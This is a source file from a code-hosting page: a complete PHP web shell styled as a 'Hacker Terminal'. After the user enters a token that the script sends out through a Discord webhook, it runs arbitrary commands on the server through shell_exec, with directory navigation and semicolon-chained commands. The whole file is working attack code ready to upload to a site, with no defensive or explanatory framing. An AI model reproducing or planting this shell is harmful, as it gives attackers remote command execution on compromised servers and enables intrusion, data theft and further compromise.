-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwebshell.php
283 lines (256 loc) · 8.91 KB
/
webshell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
<?php
session_start();
// Discord Webhook URL (replace with your actual webhook URL)
define('DISCORD_WEBHOOK_URL', 'https://discord.com/api/webhooks/WEBHOOK_ID/WEBHOOK_TOKEN');
// Function to send a message to Discord
function sendToDiscord($message) {
$data = ['content' => $message];
$options = [
'http' => [
'header' => "Content-type: application/json\r\n",
'method' => 'POST',
'content' => json_encode($data),
],
];
$context = stream_context_create($options);
file_get_contents(DISCORD_WEBHOOK_URL, false, $context);
}
// Generate a random token
function generateToken() {
return bin2hex(random_bytes(8)); // Generates a 16-character token
}
// Check if the user is authenticated
if (!isset($_SESSION['authenticated'])) {
$_SESSION['authenticated'] = false;
}
// Handle authentication
if (isset($_POST['auth_token'])) {
if ($_POST['auth_token'] === $_SESSION['auth_token']) {
$_SESSION['authenticated'] = true;
$output = "<div class='output'>Authentication successful! You now have access to the terminal.</div>";
} else {
$output = "<div class='error'>Invalid token. Please try again.</div>";
}
}
// If not authenticated, generate and send a token
if (!$_SESSION['authenticated']) {
if (!isset($_SESSION['auth_token'])) {
$token = generateToken();
$_SESSION['auth_token'] = $token;
sendToDiscord("Your authentication token is: $token");
}
$output = "<div class='output'>A token has been sent to the Discord channel. Enter it below to authenticate.</div>";
}
// Initialize the current directory in the session
if (!isset($_SESSION['current_dir'])) {
$_SESSION['current_dir'] = getcwd(); // Default to the current working directory
}
// Command Execution (only if authenticated)
if ($_SESSION['authenticated'] && isset($_POST['cmd'])) {
$commands = explode(';', $_POST['cmd']);
foreach ($commands as $cmd) {
$cmd = trim($cmd);
if (!empty($cmd)) {
// Handle 'cd' command
if (strpos($cmd, 'cd ') === 0) {
$dir = trim(substr($cmd, 3));
if ($dir === '/') {
$_SESSION['current_dir'] = '/'; // Change to root directory
} elseif ($dir === '..') {
$_SESSION['current_dir'] = dirname($_SESSION['current_dir']); // Move up one directory
} else {
// Handle absolute and relative paths
if (substr($dir, 0, 1) === '/') {
// Absolute path
$new_dir = $dir;
} else {
// Relative path
$new_dir = $_SESSION['current_dir'] . '/' . $dir;
}
if (is_dir($new_dir)) {
$_SESSION['current_dir'] = realpath($new_dir); // Change to the new directory
} else {
$output = "<div class='error'>Directory not found: $new_dir</div>";
continue;
}
}
$output = "<div class='output'>Changed directory to: {$_SESSION['current_dir']}</div>";
} else {
// Execute other commands in the current directory
chdir($_SESSION['current_dir']); // Change to the tracked directory
$command_output = shell_exec($cmd . ' 2>&1');
if ($command_output === null) {
$output = "<div class='error'>Error executing command: $cmd</div>";
} else {
$output = "<div class='output'>$ {$cmd}:\n\n$command_output\n</div>";
}
}
}
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacker Terminal</title>
<style>
/* General Styles */
body {
background-color: black;
color: #00ff00;
font-family: 'Courier New', Courier, monospace;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
flex-direction: column;
overflow: hidden;
}
/* Terminal Container */
#terminal {
flex-grow: 1;
padding: 20px;
overflow-y: auto;
white-space: pre-wrap;
font-size: 14px;
background-color: rgba(0, 0, 0, 0.9);
border: 1px solid #00ff00;
margin: 20px;
box-shadow: 0 0 10px #00ff00;
}
/* Centered "Terminal" Text */
#terminal-header {
text-align: center;
font-size: 36px;
font-weight: bold;
margin-top: 20px;
margin-bottom: 20px;
color: #00ff00;
}
/* Input Container */
#input-container {
padding: 20px;
background-color: #111;
display: flex;
gap: 10px;
align-items: center;
border-top: 1px solid #00ff00;
}
/* Input Field */
#input {
background-color: transparent;
color: #00ff00;
border: none;
padding: 10px;
width: 100%;
font-family: 'Courier New', Courier, monospace;
font-size: 14px;
outline: none;
caret-color: #00ff00;
}
/* Blinking Cursor */
#input::placeholder {
color: #00ff00;
opacity: 0.5;
}
/* Button Style */
button {
background-color: #00ff00;
color: black;
border: none;
padding: 10px 20px;
cursor: pointer;
font-family: 'Courier New', Courier, monospace;
font-size: 14px;
transition: background-color 0.3s;
}
button:hover {
background-color: #00cc00;
}
/* Output Styles */
.output {
color: #00ff00;
}
.error {
color: #ff0000;
}
/* Glow Effect for Terminal */
@keyframes glow {
0% { box-shadow: 0 0 10px #00ff00; }
50% { box-shadow: 0 0 20px #00ff00; }
100% { box-shadow: 0 0 10px #00ff00; }
}
#terminal {
animation: glow 3s infinite;
}
/* Matrix Rain Effect (Optional) */
#matrix {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: -1;
opacity: 0.1;
pointer-events: none;
}
</style>
</head>
<body>
<!-- Optional Matrix Rain Effect -->
<canvas id="matrix"></canvas>
<!-- Terminal Output -->
<div id="terminal">
<!-- Centered "Terminal" Text -->
<div id="terminal-header">Terminal</div>
<?php
// Output any messages (e.g., authentication status, command output)
if (isset($output)) {
echo $output;
}
?>
</div>
<!-- Input Container -->
<div id="input-container">
<?php if (!$_SESSION['authenticated']): ?>
<!-- Authentication Form -->
<form method="post" action="" style="flex-grow: 1;">
<input id="input" type="text" name="auth_token" autofocus autocomplete="off" placeholder="Enter authentication token...">
<button type="submit">Authenticate</button>
</form>
<?php else: ?>
<!-- Command Input Form -->
<form method="post" action="" style="flex-grow: 1;">
<input id="input" type="text" name="cmd" autofocus autocomplete="on" placeholder="Enter command...">
<button type="submit">Execute</button>
</form>
<?php endif; ?>
</div>
<!-- Matrix Rain Script -->
<script>
// Matrix Rain Effect
const canvas = document.getElementById('matrix');
const ctx = canvas.getContext('2d');
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
const columns = Math.floor(canvas.width / 20);
const drops = Array(columns).fill(1);
function drawMatrix() {
ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = '#00ff00';
ctx.font = '15px monospace';
for (let i = 0; i < drops.length; i++) {
const text = characters[Math.floor(Math.random() * characters.length)];
ctx.fillText(text, i * 20, drops[i] * 20);
if (drops[i] * 20 > canvas.height && Math.random() > 0.975) drops[i] = 0;
drops[i]++;
}
}
setInterval(drawMatrix, 50);
</script>
</body>
</html>